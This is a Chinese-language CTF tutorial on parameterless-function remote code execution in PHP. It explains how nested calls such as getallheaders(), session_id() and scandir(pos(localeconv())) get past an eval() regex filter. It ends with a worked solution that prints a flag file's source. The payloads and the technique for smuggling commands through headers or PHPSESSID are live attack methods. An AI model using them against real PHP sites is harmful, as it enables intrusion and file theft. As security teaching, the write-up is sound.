无参数函数RCE,即在不使用参数的条件下,仅使用函数进行RCE。
如:代码中有
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
这时如果我们用传统的eval($_POST[‘code’]); 则无法通过正则的校验 /[^\W]+((?R)?)/
对于该正则只允许形如 a(b(c())); a();
也就是只能使用函数套娃,里面的函数所产生的信息就是作为参数
无参RCE相关变量和函数
获取当前环境变量
getenv():
PHP中的$_ENV是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它。
$_ENV只是被动的接受服务器端的环境变量并把它们转换为数组元素,你可以尝试直接输出它。
get_defined_vars — 返回由所有已定义变量所组成的数组
全局变量如[GLOBALS] [_POST] [_GET] [_COOKIE] [_FILES]也在其中
通过获取这些变量中的恶意参数进行REC
$_GET $_POST $_COOKIE
通常都有全局过滤,可以尝试从$_FILES下手。
从数组中取值:
array_rand — 从数组中随机取出一个或多个单元
array_reverse — 返回单元顺序相反的数组
array_flip — 交换数组中的键和值
current — 返回数组中的当前单元
获取信息头,PHPSESSID
从HTTP HEADER中获取信息(注入的恶意命令)并用于REC (apache2环境)
执行var_dump(end(getallheaders()));时就可将请求头最后一个字段的内容当命令注入
session_id — 获取/设置当前会话 ID
可获取PHPSESSID ,PHPSESSID允许字母和数字出现,可将payload转换为16进制字符串,当从cookies:PHPSESSID取出来后再通过hex2bin转回去,进行REC
读取文件,目录遍历
file_get_contents — 将整个文件读入一个字符串
readfile — 输出文件
读取文件并写入到输出缓冲。
highlight_file()或show_source() — 语法高亮一个文件
getcwd — 取得当前工作目录
scandir — 列出指定路径中的文件和目录
dirname — 返回路径中的目录部分
如
<?php
echo dirname("c:/testweb/home.php") . "<br />";
echo dirname("/testweb/home.php");
?>
上面的代码将输出:
c:/testweb
/testweb
chdir — 改变目录
chdir(directory); directory 必需。规定新的当前目录。
例题:GXY_CTF “禁止套娃”
题目有 .git 源码泄露
源码如下index.php
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
很典型的无参数RCE,但过滤了一些关键字,使得某些函数无法使用
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
pos(localeconv())返回一个 . pos是current()的别名 ,localeconv() 函数返回一个包含本地数字及货币格式信息的数组。数组的第一个值为 .
将pos(localeconv())套入就得到scandir(’.’) ,能够读取指定目录下的文件和目录
?exp=print_r(scandir(pos(localeconv())));
再套入next(array_reverse()); 将数组顺序反向后输出第二个值从而得到flag.php ,也可以用array_rand(array_flip()) 或者 session_id(session_start())
?exp=print_r(next(array_reverse(scandir(pos(localeconv())))));
最后套入show_source( ),将内容显示出来
参考:
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
https://www.gem-love.com/ctf/530.html#1array_reverse